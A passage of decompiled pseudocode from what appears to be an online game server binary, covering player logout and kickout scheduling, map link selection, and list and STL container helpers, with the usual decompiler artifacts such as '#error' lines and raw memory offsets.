(ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#734 *))ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart, 0, TSCW_NORMALATTACK_SWING, animation_millisec); } } //----- (0052E920) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::so_CurrentTargetHandle(int this) { signed __int16 result; // ax@3 int v2; // eax@4 if ( *(_DWORD *)(this + 32296) || *(_DWORD *)(this + 32300) ) { v2 = *(_DWORD *)(this + 32296); if ( !v2 ) v2 = *(_DWORD *)(this + 32300); result = *(_WORD *)(v2 + 4); } else { result = -1; } return result; } //----- (0052E950) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_CurrentTargetObject(int this) { int result; // eax@1 result = *(_DWORD *)(this + 32296); if ( !result ) result = *(_DWORD *)(this + 32300); return result; } //----- (0052E970) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQSuccess(int this) { int v1; // eax@1 int v2; // eax@2 v1 = *(_DWORD *)(this + 98); if ( v1 ) { v2 = *(_DWORD *)(v1 + 12); if ( v2 ) { if ( *(_BYTE *)(v2 + 54) == 1 ) CCharacterTitleZone::CT_KQSuccess((CCharacterTitleZone *)(this + 140400)); } } } //----- (0052E990) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQFail(int this) { int v1; // eax@1 int v2; // eax@2 v1 = *(_DWORD *)(this + 98); if ( v1 ) { v2 = *(_DWORD *)(v1 + 12); if ( v2 ) { if ( *(_BYTE *)(v2 + 54) == 1 ) CCharacterTitleZone::CT_KQFail((CCharacterTitleZone *)(this + 140400)); } } } //----- (0052E9B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceFoldtent(void *this) { void *v1; // ebp@1 void *v2; // edi@2 int v3; // edi@3 char *v4; // eax@4 int v5; // ebx@4 int v6; // esi@4 int v7; // eax@4 int v8; // eax@5 int v9; // eax@5 int v10; // ST04_4@6 int v11; // eax@6 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@6 int v13; // [sp+1Ch] [bp-4h]@6 v1 = this; if ( **((_BYTE **)this + 892) == 4 ) { (*(void (__stdcall **)(signed int, signed int))(*(_DWORD *)this + 772))(8, 61); **((_BYTE **)v1 + 892) = 1; v2 = (void *)(*((_DWORD *)v1 + 8040) + 29); if ( *((_BYTE *)v1 + 139547) ) { memcpy(v2, (char *)v1 + 139500, 0x2Cu); v3 = (int)((char *)v2 + 44); *(_WORD *)v3 = *((_WORD *)v1 + 69772); *(_BYTE *)(v3 + 2) = *((_BYTE *)v1 + 139546); *((_BYTE *)v1 + 139547) = 0; } *((_DWORD *)v1 + 35098) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8236; *((_WORD *)v4 + 1) = *((_WORD *)v1 + 2); v5 = (int)(v4 + 4); v6 = *((_DWORD *)v1 + 8040) + 29; memcpy(v4 + 4, (const void *)v6, 0x2Cu); v6 += 44; *((_WORD *)v4 + 24) = *(_WORD *)v6; v4[50] = *(_BYTE *)(v6 + 2); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1176))(v1); if ( (((unsigned int)*(_BYTE *)v5 >> 2) & 0x1F) != (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 48))(v7) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1176))(v1); (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 48))(v8); v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1176))(v1); *(_BYTE *)v5 ^= (*(_BYTE *)v5 ^ 4 * (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 48))(v9)) & 0x7C; } AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 51); v10 = *(_DWORD *)((char *)v1 + 78); v13 = 0; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v11, v10, 0, 0, (int)&alchat, 0, 65535); v13 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } //----- (0052EB10) -------------------------------------------------------- #error "52EB10: undefined or illegal type '#593' (funcsize=36)" //----- (0052EB70) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::_vector_deleting_destructor_(unsigned int this) { void *v1; // esi@1 void *result; // eax@4 char v3; // [sp+Ch] [bp+4h]@0 v1 = (void *)this; if ( v3 & 2 ) { _eh_vector_destructor_iterator_( (void *)this, 0x23310u, *(_DWORD *)(this - 4), (void (__thiscall *)(void *))ShineObjectClass::ShinePlayer::_ShinePlayer); if ( v3 & 1 ) operator delete__((char *)v1 - 4); result = (char *)v1 - 4; } else { ShineObjectClass::ShinePlayer::_ShinePlayer(this); if ( v3 & 1 ) operator delete(v1); result = v1; } return result; } // 52EB70: inconsistent function type and number of purged bytes //----- (0052EBD0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 unsigned int *v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::list,std::allocator > >::iterator *v8; // ST04_4@7 std::list,std::allocator > >::iterator *v9; // ST00_4@7 unsigned int *v10; // eax@7 int v11; // [sp+0h] [bp-20h]@1 void *_Ptr; // [sp+Ch] [bp-14h]@7 int *v13; // [sp+10h] [bp-10h]@1 int v14; // [sp+1Ch] [bp-4h]@7 unsigned int _Counta; // [sp+28h] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x3FFFFFFF ) std::vector>::_Xlen(this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 4 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::list,std::allocator > >::iterator *)v2->_Mylast; v9 = (std::list,std::allocator > >::iterator *)v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v9, v8, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (unsigned int *)((char *)v7 + _Counta); v2->_Mylast = (unsigned int *)((char *)v7 + 4 * v4); v2->_Myfirst = (unsigned int *)v7; } } //----- (0052EC8A) -------------------------------------------------------- void __usercall _L210586(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (0052ECA0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 Observer *v3; // eax@3 unsigned int v4; // ebx@6 Observer *v5; // ST04_4@6 Observer *v6; // ST00_4@6 Observer *v7; // ecx@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp+0h] [bp-1Ch]@1 int *v11; // [sp+Ch] [bp-10h]@1 int v12; // [sp+18h] [bp-4h]@6 void *_Ptr; // [sp+24h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > (unsigned int)&wholesaver.ws_savestore[2017].esc_skill.buffer[6422] ) std::vector>::_Xlen(this); v3 = this->_Myfirst; if ( v3 ) v3 = (Observer *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 24 * _Count; _Ptr = operator new(24 * _Count); v5 = v2->_Mylast; v6 = v2->_Myfirst; v12 = 0; std::_Uninit_copy>::iterator_Observer___std::allocator>( v6, v5, (Observer *)_Ptr, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; v12 = -1; if ( v7 ) { v9 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 2; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) { std::vector>::_Destroy(v2, v7, v2->_Mylast); operator delete(v2->_Myfirst); } v2->_Myend = (Observer *)((char *)_Ptr + v4); v2->_Mylast = (Observer *)((char *)_Ptr + 24 * v8); v2->_Myfirst = (Observer *)_Ptr; } } //----- (0052ED8D) -------------------------------------------------------- void __usercall _L210706(int a1) { operator delete(*(void **)(a1 + 8)); _CxxThrowException(0, 0); } //----- (0052EDB0) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, const unsigned int *_Val) { const unsigned int *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 const unsigned int v8; // edx@2 const unsigned int *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = *_Val; do { v7 = v8 < v6->_Myval; v5 = v6; _Addleft = v8 < v6->_Myval; if ( v8 >= v6->_Myval ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (const unsigned int *)v5; _Val = (const unsigned int *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( v9[3] >= *v3 ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (0052EE70) -------------------------------------------------------- #error "52EE70: undefined or illegal type '#593' (funcsize=89)" //----- (0052EFA0) -------------------------------------------------------- #error "52EFA0: undefined or illegal type '#593' (funcsize=163)" //----- (0052F210) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Kickout(void *this) { void *v1; // esi@1 int v2; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 828))(v1); v2 = (unsigned __int8)ShineObjectManager::som_FreeObject(&shineobjmanager, *((_WORD *)v1 + 2), 0, 17); if ( !(_BYTE)v2 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout : Fail to object free", v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout"); return 1; } //----- (0052F2E0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Logout(void *this) { void *v1; // esi@1 DebugLogging *v2; // edi@1 _iobuf *v3; // eax@3 char *v4; // edi@8 ZoneBaseSession *v5; // eax@10 int v6; // eax@11 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Logout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_Logout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); v2 = DebugLogging::operator<<(&NormalLogOutLog, "ShineObjectClass::ShinePlayer::sp_Schedule_Logout nCharNo - "); if ( DebugLogging::dl_ActivAll ) { if ( v2->dl_Activ ) { DebugLogging::dl_FilePoint(v2); v3 = v2->dl_FilePointer; if ( v3 ) fprintf(v3, "%d"); } } DebugLogging::operator<<(v2, &deb_LF); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 380))(v1) && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2948))(v1) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 828))(v1, 0, 1, 9); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 3121; *((_WORD *)v4 + 1) = -1; *((_DWORD *)v4 + 1) = -1; *(_DWORD *)(v4 + 10) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v4 + 4) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 832))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Schedule_Logout : Packet Too Long", 14); } v6 = (unsigned __int8)ShineObjectManager::som_FreeObject(&shineobjmanager, *((_WORD *)v1 + 2), 0, 18); if ( !(_BYTE)v6 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout : Fail to object free", v6); *(_DWORD *)(*((_DWORD *)v1 + 5923) + 4) = 3; } else { ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)((char *)v1 + 143172), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#734 *))&ShineObjectClass::ShinePlayer::sp_Schedule_Logout, 0, TSCW_LOGOUT, 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Logout"); return 1; } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0052F4C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTREADY_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 DebugLogging *v5; // edi@5 _iobuf *v6; // eax@7 char *v7; // [sp-4h] [bp-20h]@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S88_2 & 1) ) { _S88_2 |= 1u; cmc_89.cmc_AllowMode = 126; atexit(_E89_2); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_89.cmc_AllowMode ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v5 = DebugLogging::operator<<( &NormalLogOutLog, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTREADY_CMD nCharNo - "); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } DebugLogging::operator<<(v5, &deb_LF); ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)((char *)v4 + 143172), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#734 *))ShineObjectClass::ShinePlayer::sp_Schedule_Logout, 0, TSCW_LOGOUT, 13000); *((_DWORD *)v4 + 35803) = clockwatch.cw_CurrTick + 80; v7 = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"; } else { v7 = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0052F620) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 DebugLogging *v5; // edi@5 _iobuf *v6; // eax@7 char *v7; // [sp-4h] [bp-24h]@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S92_1 & 1) ) { _S92_1 |= 1u; cmc_90.cmc_AllowMode = 126; atexit(_E93_2); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_90.cmc_AllowMode ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v5 = DebugLogging::operator<<( &NormalLogOutLog, "ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD nCharNo - "); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } DebugLogging::operator<<(v5, &deb_LF); if ( clockwatch.cw_CurrTick > *((_DWORD *)v4 + 35803) ) ShineObjectClass::ShinePlayer::sp_Schedule_Logout(v4); v7 = "ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD"; } else { v7 = "ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0052F770) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // ebp@1 signed int v5; // esi@1 int v6; // eax@4 int v7; // edx@10 int v8; // edi@10 int v9; // esi@11 char *v10; // [sp-4h] [bp-A4h]@5 ServerMenuFuncter temp; // [sp+10h] [bp-90h]@1 char v12[4]; // [sp+14h] [bp-8Ch]@12 int v13; // [sp+18h] [bp-88h]@12 int v14; // [sp+1Ch] [bp-84h]@12 int nSize; // [sp+20h] [bp-80h]@10 FunctionEntarance _; // [sp+24h] [bp-7Ch]@1 ServerMenuArgument arg; // [sp+28h] [bp-78h]@18 unsigned int v18; // [sp+90h] [bp-10h]@1 int v19; // [sp+9Ch] [bp-4h]@1 v4 = (int)this; v18 = (unsigned int)&temp ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; if ( !(_S99 & 1) ) { _S99 |= 1u; cmc_91.cmc_AllowMode = 70; atexit(_E100); } if ( (1 << **(_BYTE **)(v4 + 3568)) & cmc_91.cmc_AllowMode && (v6 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)(v4 + 68608))) != 0 ) { if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v6) <= 0xF4240 ) { if ( *(_WORD *)(*(_DWORD *)(v4 + 32160) + 78) == -1 ) { MoveManager::MoveManager((DiceTaiSai *)&temp); v7 = **(_DWORD **)(*(_DWORD *)(v4 + 68612) + 4); LOBYTE(v19) = 1; v8 = 0; nSize = (*(int (**)(void))(v7 + 36))(); if ( nSize <= 0 ) { LABEL_17: _ErrorSendPlayer( (#593 *)v4, 8237, "ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ"); LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&temp); v19 = v5; } else { while ( 1 ) { v9 = (*(int (__stdcall **)(int))(**(_DWORD **)(*(_DWORD *)(v4 + 68612) + 4) + 32))(v8); if ( v9 ) { v14 = 0; v13 = 0; *(_DWORD *)v12 = 0; strncpy(v12, (const char *)(v9 + 53), 0xCu); if ( *(_DWORD *)(netcmd + 2) == *(_DWORD *)v12 ) { if ( *(_DWORD *)(netcmd + 6) == v13 && *(_DWORD *)(netcmd + 10) == v14 ) break; } } ++v8; if ( v8 >= nSize ) { v5 = -1; goto LABEL_17; } } memcpy(&arg, (const void *)v9, 0x64u); arg.sma_link.sml_lnkinf.Party = *(_BYTE *)(v9 + 100); ServerMenuFuncter::smfm_Link(&temp, (#734 *)v4, &arg); _ErrorSendPlayer( (#593 *)v4, 8232, "ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ"); LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&temp); v19 = -1; } v10 = "ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ"; } else { _ErrorSendPlayer( (#593 *)v4, 8236, "ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ"); v19 = -1; v10 = "ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ"; } } else { _ErrorSendPlayer( (#593 *)v4, 8235, "ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ"); v19 = -1; v10 = "ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ"; } } else { _ErrorSendPlayer( (#593 *)v4, 8233, "ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ"); v19 = -1; v10 = "ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); __security_check_cookie((unsigned int)&temp ^ v18); } //----- (0052FA00) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, #593 *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); ShineObjectClass::ShineObject::operator_(v3, (int)ele); return 1; } // 52FA15: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0052FA30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::operator_(int this, int a2) { int v2; // esi@1 v2 = this; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); ShineObjectClass::ShineObject::__unnamed::operator_(this + 6, a2 + 6); *(_DWORD *)(v2 + 78) = *(_DWORD *)(a2 + 78); *(_DWORD *)(v2 + 82) = *(_DWORD *)(a2 + 82); *(_DWORD *)(v2 + 86) = *(_DWORD *)(a2 + 86); *(_DWORD *)(v2 + 90) = *(_DWORD *)(a2 + 90); *(_DWORD *)(v2 + 94) = *(_DWORD *)(a2 + 94); *(_DWORD *)(v2 + 98) = *(_DWORD *)(a2 + 98); *(_DWORD *)(v2 + 102) = *(_DWORD *)(a2 + 102); ShineObjectClass::ShineObject::LuaAi::operator_(v2 + 106, a2 + 106); return v2; } //----- (0052FA90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::__unnamed::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); *(_DWORD *)(this + 32) = *(_DWORD *)(a2 + 32); *(_DWORD *)(this + 36) = *(_DWORD *)(a2 + 36); *(_DWORD *)(this + 40) = *(_DWORD *)(a2 + 40); *(_DWORD *)(this + 44) = *(_DWORD *)(a2 + 44); *(_DWORD *)(this + 48) = *(_DWORD *)(a2 + 48); *(_DWORD *)(this + 52) = *(_DWORD *)(a2 + 52); *(_DWORD *)(this + 56) = *(_DWORD *)(a2 + 56); *(_DWORD *)(this + 60) = *(_DWORD *)(a2 + 60); *(_DWORD *)(this + 64) = *(_DWORD *)(a2 + 64); *(_DWORD *)(this + 68) = *(_DWORD *)(a2 + 68); return result; } //----- (0052FB10) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::LuaAi::operator_(int this, int a2) { int v2; // esi@1 v2 = this; *(_DWORD *)this = *(_DWORD *)a2; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(this + 4), (std::basic_string,std::allocator > *)(a2 + 4), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 32), (std::basic_string,std::allocator > *)(a2 + 32), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 60), (std::basic_string,std::allocator > *)(a2 + 60), 0, 0xFFFFFFFFu); return v2; } //----- (0052FB60) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, #593 *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); ShineObjectClass::ShineObject::operator_(v3, (int)ele); return 1; } // 52FB76: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0052FB90) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, #593 *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ShineObjectClass::ShineObject::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0052FBE0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, #593 *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ShineObjectClass::ShineObject::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0052FC30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Unmark(void *this, int when, char logoutpacket, unsigned __int8 SaveType) { int v4; // esi@1 void *v5; // ecx@4 int v6; // eax@6 GAMBLE_TYPE v7; // ST0C_4@13 unsigned int v8; // eax@13 CGambleObject *v9; // eax@13 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Unmark"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Unmark"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1152))(v4) ) HuntLog::MobHuntLog::mhl_SendAll2Log((HuntLog::MobHuntLog *)(v4 + 143228), (#734 *)v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 784))(v4); ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB((void *)v4); switch ( when ) { case 0: v5 = *(void **)(v4 + 98); if ( v5 && FieldMap::fm_GetGuildTournamentSystem(v5) ) { v6 = 